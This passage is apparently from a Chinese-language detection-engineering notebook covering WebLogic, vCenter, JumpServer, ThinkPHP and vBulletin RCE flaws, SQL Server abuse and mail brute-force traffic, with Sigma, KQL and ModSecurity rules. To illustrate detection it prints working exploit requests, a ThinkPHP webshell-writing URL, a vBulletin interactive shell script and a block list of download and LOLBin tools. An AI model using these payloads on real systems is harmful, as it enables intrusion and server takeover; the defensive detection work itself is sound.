- https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/
status: experimental
date: 2020/07/10
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection1:
c-uri|contains:
- '/rapi/filedownload?filter=path:%2F' #删除文件时POST请求,URL路径包含的字段。
selection2:
c-uri|contains|all:
- '/pcidss/report' #获取所有默认签名时POST请求URL内包含的字段
- 'type=all_signatures'
- 'sig_name=_default_signature_'
condition: 1 of them
fields:
- client_ip
- vhost
- url
- response
falsepositives:
- Unknown
level: critical
建议
建议使用HTTP流量+安全设备进行检测分析,研判攻击是否成功。
0x0D CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
2021年1月20日,绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU(Critical Patch Update),共修复了329个不同程度的漏洞,其中包括7个影响WebLogic的严重漏洞(CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756),未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8,利用复杂度低。建议用户尽快采取措施,对上述漏洞进行防护。
0x1 影响版本
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
0x2 漏洞详情
可参考:
Weblogic LDAP 远程代码执行漏洞 CVE-2021-210:Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109_weblogic_ldap rce_cve-2021-2109_PeiQi_WiKi的博客-CSDN博客
【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比:https://www.cnblogs.com/huaflwr/p/14317388.html
检测日志
HTTP.log,主要是基于POC报文进行检测,POC如下:
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close
配合未授权访问后台
POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:pwd
Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close
测试复现
可参考漏洞详情部分
检测规则/思路
sigma规则
title: Oracle WebLogic CVE-2021-2109 HTTP协议远程代码执行漏洞检测
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://blog.csdn.net/m0_46257936/article/details/112984836
- https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html
logsource:
category: webserver #日志源:webserver
detection:
selection:
cs-method: 'GET' #请求方法为GET
c-uri|contains|all: #请求url中包含以下任意内容
- 'com.bea.console.handles.JndiBindingHandle'
- 'ldap://'
- 'AdminServer'
condition: selection
fields:
- c-ip
- c-dns
falsepositives: #误报情况 未知
- Unknown
level: critical
tags:
- attack.t1190
- attack.initial_access
- cve.2021-2109
建议
建议使用HTTP流量+安全设备(天眼)进行检测分析判断攻击是否成功。
0x0E CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
2021年02月24日,某些平台监测到 Vmware官方发布了vCenter Server安全更新,修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations(vROps)中的一个远程代码执行漏洞(CVE-2021-21972)。VMware vCenter Server是美国威睿(VMware)公司的一套服务器和虚拟化管理软件。该软件提供了一个用于管理VMware vCenter环境的集中式平台,可自动实施和交付虚拟基础架构。攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行
具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。这会影响VMware vCenter Server(7.0 U1c之前的7.x,6.7 U3l之前的6.7和6.5 U3n之前的6.5)和VMware Cloud Foundation(4.2.3之前的4.x和3.10.1.2之前的3.x)。
此外,VMware还修复了VMware ESXi中一个重要的堆溢出漏洞(CVE-2021-21974)与VMware vSphere中的一个SSRF漏洞(CVE-2021-21973)。
0x1 影响版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
0x2 漏洞详情
可参考:
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞:CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞_战神/calmness的博客-CSDN博客
CVE-2021-21972 vCenter 远程命令执行漏洞分析:CVE-2021-21972 vCenter 远程命令执行漏洞分析 - 360CERT
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC:https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
检测日志
HTTP.log,主要是基于POC报文进行检测,POC如下:
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
import argparse
import os
def url():
parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)POC')
parser.add_argument('target_url',type=str,help='The target address,example: https://192.168.140.153:4445')
args = parser.parse_args()
global url
url = args.target_url
if url.startswith('http://') or url.startswith('https://'):
pass
else:
print('[-]Please include http:// or https:// in the URL!!')
os._exit(0)
if url.endswith('/'):
url = url[:-1]
print('[+]author:chenchen')
print("[-]目标地址:",url)
print("[-]正在执行漏洞检测...")
return url
def poc():
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',
"Content-Type":"application/x-www-form-urlencoded"
}
url_v = url + '/ui/vropspluginui/rest/services/updateova'
try:
code = requests.get(url=url_v,headers=headers,timeout=4,verify=False).status_code
print('status_code:',code)
if code == 405:
print('[+]漏洞存在')
else:
print('[-]漏洞不存在')
except:
print('[-]发生错误')
if __name__ == '__main__':
url()
poc()
测试复现
可参考漏洞详情部分
检测规则/思路
sigma规则
title: CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc
- https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
logsource:
category: webserver #http_log
detection:
selection:
cs-method: 'POST' #请求方法为post
c-uri: #请求url中包含以下路径
- '/ui/vropspluginui/rest/services/uploadova'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- OVA uploads to your VSphere appliance
level: high
建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
0x0F JumpServer v2.6.1 RCE攻击检测
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
JumpServer v2.6.1 RCE(远程代码执行)
JumpServer 是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机.
2021年1月15日,JumpServer 发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。
影响版本
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
测试案例
请参考:
JumpServer v2.6.1 RCE(远程代码执行) 复现总结
https://www.cnblogs.com/w0x68y/p/14340249.html
Jumpserver-RCE复现及告警规则
Jumpserver-RCE复现及告警规则 - FreeBuf网络安全行业门户
检测日志
访问日志
测试复现
请参考:
JumpServer v2.6.1 RCE(远程代码执行) 复现总结
https://www.cnblogs.com/w0x68y/p/14340249.html
测试留痕
暂无
检测规则/思路
modsecurity判定规则
在这种场景下,基本上看到这个uri请求我们就可以断言这是一个报警,因此编写规则如下:
SecRule REQUEST_URI "/ws/ops/tasks/log" "id:11111111,phase:1,id:52,t:none,t:urlDecode,t:lowercase,t:normalizePath,msg:'jump-rce'"
备注
本文内容多数摘自互联网网络,未经过本人实际环境测试,慎重上线使用。
ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发。作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。
0x10 检测SQL server滥用
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
SQLServer提供了大量用于自动化任务、导出数据和运行脚本的工具。攻击者可以重新利用这些合法工具。由于攻击者可能会利用许多强大的命令进行攻击,因此查找涉及SQL Server的恶意活动可能会很复杂。
此查询检测SQL Server进程启动shell以运行一个或多个可疑命令的实例。
检测日志
未经测试,初步判断为windows安全日志或者Sysmon日志
测试复现
参考 如何通过SQL Server执行系统命令?
如何通过SQL Server执行系统命令? - 知乎
测试留痕
暂无实测,故无留痕
检测规则/思路
DeviceProcessEvents
| where Timestamp >= ago(10d)
| where InitiatingProcessFileName in~ ("sqlservr.exe", "sqlagent.exe", "sqlps.exe", "launchpad.exe") //当初始化进程为"sqlservr.exe", "sqlagent.exe", "sqlps.exe", "launchpad.exe"
| summarize tostring(makeset(ProcessCommandLine)) //进程命令行中包含以下进程名称OR命令行参数时,可能是异常的。
by DeviceId, bin(Timestamp, 2m)
| where
set_ProcessCommandLine has "certutil" or
set_ProcessCommandLine has "netstat" or
set_ProcessCommandLine has "ping" or
set_ProcessCommandLine has "sysinfo" or
set_ProcessCommandLine has "systeminfo" or
set_ProcessCommandLine has "taskkill" or
set_ProcessCommandLine has "wget" or
set_ProcessCommandLine has "whoami" or
set_ProcessCommandLine has "Invoke-WebRequest" or
set_ProcessCommandLine has "Copy-Item" or
set_ProcessCommandLine has "WebClient" or
set_ProcessCommandLine has "advpack.dll" or
set_ProcessCommandLine has "appvlp.exe" or
set_ProcessCommandLine has "atbroker.exe" or
set_ProcessCommandLine has "bash.exe" or
set_ProcessCommandLine has "bginfo.exe" or
set_ProcessCommandLine has "bitsadmin.exe" or
set_ProcessCommandLine has "cdb.exe" or
set_ProcessCommandLine has "certutil.exe" or
set_ProcessCommandLine has "cl_invocation.ps1" or
set_ProcessCommandLine has "cl_mutexverifiers.ps1" or
set_ProcessCommandLine has "cmstp.exe" or
set_ProcessCommandLine has "csi.exe" or
set_ProcessCommandLine has "diskshadow.exe" or
set_ProcessCommandLine has "dnscmd.exe" or
set_ProcessCommandLine has "dnx.exe" or
set_ProcessCommandLine has "dxcap.exe" or
set_ProcessCommandLine has "esentutl.exe" or
set_ProcessCommandLine has "expand.exe" or
set_ProcessCommandLine has "extexport.exe" or
set_ProcessCommandLine has "extrac32.exe" or
set_ProcessCommandLine has "findstr.exe" or
set_ProcessCommandLine has "forfiles.exe" or
set_ProcessCommandLine has "ftp.exe" or
set_ProcessCommandLine has "gpscript.exe" or
set_ProcessCommandLine has "hh.exe" or
set_ProcessCommandLine has "ie4uinit.exe" or
set_ProcessCommandLine has "ieadvpack.dll" or
set_ProcessCommandLine has "ieaframe.dll" or
set_ProcessCommandLine has "ieexec.exe" or
set_ProcessCommandLine has "infdefaultinstall.exe" or
set_ProcessCommandLine has "installutil.exe" or
set_ProcessCommandLine has "makecab.exe" or
set_ProcessCommandLine has "manage-bde.wsf" or
set_ProcessCommandLine has "mavinject.exe" or
set_ProcessCommandLine has "mftrace.exe" or
set_ProcessCommandLine has "microsoft.workflow.compiler.exe" or
set_ProcessCommandLine has "mmc.exe" or
set_ProcessCommandLine has "msbuild.exe" or
set_ProcessCommandLine has "msconfig.exe" or
set_ProcessCommandLine has "msdeploy.exe" or
set_ProcessCommandLine has "msdt.exe" or
set_ProcessCommandLine has "mshta.exe" or
set_ProcessCommandLine has "mshtml.dll" or
set_ProcessCommandLine has "msiexec.exe" or
set_ProcessCommandLine has "msxsl.exe" or
set_ProcessCommandLine has "odbcconf.exe" or
set_ProcessCommandLine has "pcalua.exe" or
set_ProcessCommandLine has "pcwrun.exe" or
set_ProcessCommandLine has "pcwutl.dll" or
set_ProcessCommandLine has "pester.bat" or
set_ProcessCommandLine has "presentationhost.exe" or
set_ProcessCommandLine has "pubprn.vbs" or
set_ProcessCommandLine has "rcsi.exe" or
set_ProcessCommandLine has "regasm.exe" or
set_ProcessCommandLine has "register-cimprovider.exe" or
set_ProcessCommandLine has "regsvcs.exe" or
set_ProcessCommandLine has "regsvr32.exe" or
set_ProcessCommandLine has "replace.exe" or
set_ProcessCommandLine has "rundll32.exe" or
set_ProcessCommandLine has "runonce.exe" or
set_ProcessCommandLine has "runscripthelper.exe" or
set_ProcessCommandLine has "schtasks.exe" or
set_ProcessCommandLine has "scriptrunner.exe" or
set_ProcessCommandLine has "setupapi.dll" or
set_ProcessCommandLine has "shdocvw.dll" or
set_ProcessCommandLine has "shell32.dll" or
set_ProcessCommandLine has "slmgr.vbs" or
set_ProcessCommandLine has "sqltoolsps.exe" or
set_ProcessCommandLine has "syncappvpublishingserver.exe" or
set_ProcessCommandLine has "syncappvpublishingserver.vbs" or
set_ProcessCommandLine has "syssetup.dll" or
set_ProcessCommandLine has "te.exe" or
set_ProcessCommandLine has "tracker.exe" or
set_ProcessCommandLine has "url.dll" or
set_ProcessCommandLine has "verclsid.exe" or
set_ProcessCommandLine has "vsjitdebugger.exe" or
set_ProcessCommandLine has "wab.exe" or
set_ProcessCommandLine has "winrm.vbs" or
set_ProcessCommandLine has "wmic.exe" or
set_ProcessCommandLine has "xwizard.exe" or
set_ProcessCommandLine has "zipfldr.dll"
| sort by DeviceId , Timestamp asc
解释:当初始化进程为"sqlservr.exe","sqlagent.exe","sqlps.exe","launchpad.exe",进程命令行中包含以上进程名称OR命令行参数时,可能是异常的。
建议
未经实际测试,仅具备一定的参考价值。
0x11 Thinkphp 5.x远程命令执行漏洞检测
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
CVE-2020-16875漏洞
简介
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
影响版本
5.x < 5.1.31, <= 5.0.23
测试案例
漏洞分析及漏洞利用可参考Thinkphp 5.x远程命令执行漏洞:
https://www.cnblogs.com/backlion/p/10106676.html
检测日志
HTTP_log,访问日志也可以
测试复现
1.利用system函数远程命令执行
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.通过phpinfo函数写出phpinfo()的信息
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3.写入shell:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
或者
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
测试留痕
暂无
检测规则/思路
sigma规则
title: Thinkphp 5.x远程命令执行漏洞
description: 通过访问日志orHttp.log检测Thinkphp 5.x远程命令执行漏洞利用行为
translator: 12306Bro
date: 2020/12/12
status: experimental
references:
- https://www.cnblogs.com/backlion/p/10106676.html
logsource:
category: webserver
detection:
selection:
c-uri:
- '/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
备注
在具体业务场景下遇到,特记录。可以根据具体payload来判断是否为真实攻击。
0x12 vBulletin5.X-RCE检测
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
CVE-2015-7808漏洞
vBulletin是用PHP编写的可定制的论坛程序套件。
vBulletin 5.1.4-5.1.9版本,某些内部API处理Ajax请求时,未验证其来源,这可使攻击者无需身份验证调用继承自vB_Api及/core/vb/api/下任意类的任意公共方法,其中decodeArguments()方法内的unserialize()函数存在安全漏洞,可使攻击者在‘$args’变量中注入精心构造的任意对象,远程执行php代码,获取服务器权限。
影响版本
VBulletin 5.1.4 - 5.1.9
测试案例
请参考:
vBulletin5.X前台RCE分析(CVE-2015-7808)
vBulletin5.X前台RCE分析(CVE-2015-7808) - 先知社区
vBulletin 5 全版本远程代码执行漏洞分析
vBulletin 5 全版本远程代码执行漏洞分析-安全客 - 安全资讯平台
检测日志
访问日志
测试复现
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1
Host: 192.168.0.106
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
解码后:
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:17:"vB_Database_MySQL":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:9:"phpinfo()";} HTTP/1.1
测试留痕
暂无
检测规则/思路
sigma规则
title: vBulletin5.X-CVE-2015-7808-RCE-检测规则
description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为
translator: 12306Bro
date: 2020/12/16
status: experimental
references:
- https://xz.aliyun.com/t/6497
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/ajax/api/hook/decodeArguments?arguments=*'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
CVE-2019-16759
近期,vBulletin披露了一个最新的0 day漏洞细节,这个漏洞分配的CVE编号为CVE-2019-16759。与此同时,Unit 42的安全研究人员也在网上发现了有很多攻击者正在利用该漏洞来实施攻击。在该漏洞的帮助下,未经身份验证的攻击者将能够访问和控制运行了v5.0.0至v5.5.4版本vBulletin的服务器,并且阻止网络管理员访问这些服务器。目前,使用了vBulletin的网站数量大约有10万多个,其中包括很多大型企业、组织和论坛,因此该漏洞应当立刻被修复。
影响版本
仅影响 vBulletin 5.x 版本
测试案例
请参考:
CVE-2019-16759漏洞在野利用
CVE-2019-16759漏洞在野利用-安全客 - 安全资讯平台
CVE-2019-16759 vBulletin 5.x RCE 复现
CVE-2019-16759 vBulletin 5.x RCE 复现_capelthwaite的博客-CSDN博客
CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞
GitHub - jas502n/CVE-2019-16759: vBulletin 5.x 未授权远程代码执行漏洞
检测日志
访问日志 OR HTTP.log
测试复现
POC1
http://IP/?routestring=ajax%2Frender%2Fwidget_php&widgetConfig[code]=phpinfo();exit;
POC2:CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
proxies ={
"http":"http://127.0.0.1:8080/"
}
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = raw_input(">>>Shell= ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"');echo md5('vBulletin'); exit;"
r = requests.post(url = sys.argv[1], data = params, proxies=proxies)
if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.text:
print
print r.text.split('be4ea51d962be8308a0099ae1eb3ec63')[0]
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception, e:
sys.exit(str(e))
测试留痕
暂无,但可查看攻击报文样例辅助安全人员研判是否为攻击行为,较简单的场景。
GitHub - jas502n/CVE-2019-16759: vBulletin 5.x 未授权远程代码执行漏洞
检测规则/思路
sigma规则
title: vBulletin5.X-CVE-2015-7808-RCE-检测规则
description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为
translator: 12306Bro
date: 2020/12/16
status: experimental
references:
- https://github.com/jas502n/CVE-2019-16759
- https://blog.csdn.net/weixin_41064688/article/details/108060313
logsource:
category: webserver
detection:
selection1:
c-uri:
- '*?routestring=ajax%2Frender%2Fwidget_php&widgetConfig*' #匹配此特征
selection2:
body:
- '*routestring=ajax/render/widget_php&widgetConfig[code]=die(@mid5(*))' #根据报文内容进行判断,多为post
condition: selection1 or selection2
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
备注
在进行部分攻击日志分析时,遇到此漏洞特征,仅做记录。
0x13 可疑的SQL错误消息
ATT&CK描述
面向公众应用的利用指的是攻击者利用面向Internet的计算机系统或程序的弱点,使用软件、数据或命令来造成意外行为。系统弱点可能是缺陷、故障或设计漏洞。这些应用通常是网站,但也可以包括数据库(如SQL),标准服务(如SMB或SSH),以及任何带有可通过Internet访问的开放套接字的应用(如web服务器和相关服务)。面向公众应用的利用可能包括防御逃逸目的的利用,具体取决于被利用的弱点。
如果应用程序托管在云化基础架构上,则利用此应用可能会破坏底层实例。攻击者可能会利用此漏洞通过调用云API或利用弱身份和访问管理策略来实施攻击。
OWASP(开放式web应用程序安全项目)前10名和CWE(通用缺陷列表)前25名突出显示了网站和数据库最常见的web漏洞。
测试案例
暂无
检测日志
数据库错误日志
测试复现
暂无
测试留痕
Oracle报错信息
quoted string not properly terminated
MySQL报错信息
You have an error in your SQL syntax
SQL Server报错信息
Unclosed quotation mark
SQLite报错信息
'near "*": syntax error'
SELECTs to the left and right of UNION do not have the same number of result columns
检测规则/思路
Sigma规则
title: 可疑的SQL错误消息
status: 实验阶段
description: 检测指示对注入攻击进行探测的SQL错误消息
author: Bjoern Kimminich
Translator: 12306Bro
date: 2020/8/6
references:
- http://www.sqlinjection.net/errors
logsource:
category: application
product: sql
detection:
keywords:
# Oracle
- quoted string not properly terminated
# MySQL
- You have an error in your SQL syntax
# SQL Server
- Unclosed quotation mark
# SQLite
- 'near "*": syntax error'
- SELECTs to the left and right of UNION do not have the same number of result columns
condition: keywords
falsepositives:
- Application bugs
level: high
建议
暂无
0x14 邮箱暴力破解攻击流量分析
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“ 利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
本文案例主要参考、摘录自《现场取证之流量分析总结》,上链接
检测日志
全流量
测试复现
暂无,查看测试文档。
测试留痕
暂无
检测规则/思路
POP3协议
协议认证过程
CAPA //用于取得此服务器的功能选项清单
+OK Capability list follows
TOP
USER
PIPELINING
EXPIRE NEVER
UIDL
+OK Mail Server POP3 ready
user a1@a.com ---------------------输入用户名, username 为具体的用户名
+OK -------------------------------执行命令成功
pass q1q1q1q1 ---------------------输入用户密码,password 为具体的密码,这里要注意,当密码输入错误后要重新user username后再运行此命令,否则提示命令无效
+OK 2 messages ---------------------密码认证通过
(-ERR authorization failed ---------密码认证失败)
(+OK User successfully logged on. --认证成功)
stat -------------------------------邮箱状态
+OK 2 6415 -------------------------2 为该信箱总邮件数,6415 为总字节数
list -------------------------------列出每封邮件的字节数
+OK --------------------------------执行命令成功,开始显示,左边为邮件的序号,右边为该邮件的大小
1 537 ------------------------------第 1 封邮件,大小为 537 字节
2 5878 -----------------------------第 2 封邮件,大小为 5878 字节
+OK Microsoft Exchange Server 2003 POP3 .......... 6.5.6944.0 ..........
暴力破解特征:
攻击者不断输入用户名jufeng001,不同的密码进行尝试,服务器也大量报错:-ERR Logon failure: unknown user name or bad password。
SMTP协议
协议认证过程:
220 a-ba21a05129e24.test.org Microsoft ESMTP MAIL Service, Version: 6.0.3790.3959 ready at Thu, 6 Aug 2015 11:10:17 +0800 //服务就绪
EHLO Mr.RightPC //主机名
250-a-ba21a05129e24.test.org Hello [192.1.14.228]
……
250 OK
AUTH LOGIN // 认证开始
334 VXNlcm5hbWU6 // Username:
cGFzc0AxMjM= // 输入用户名的base64编码
334 UGFzc3dvcmQ6 // Password:
MXFhekBXU1g= // 输入密码的base64编码
235 2.7.0 Authentication successful. //认证成功
暴力破解特征:
攻击者不断输入用户名jufeng001,不同的密码进行尝试,服务器也大量报错:535 5.7.3 Authentication unsuccessful。
IMAP协议
协议认证过程:
bf8p CAPABILITY
* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN
bf8p OK CAPABILITY completed.
s3yg LOGIN "administrator" "1qaz@WSX" //输入用户名:administrator,密码:1qaz@WSX
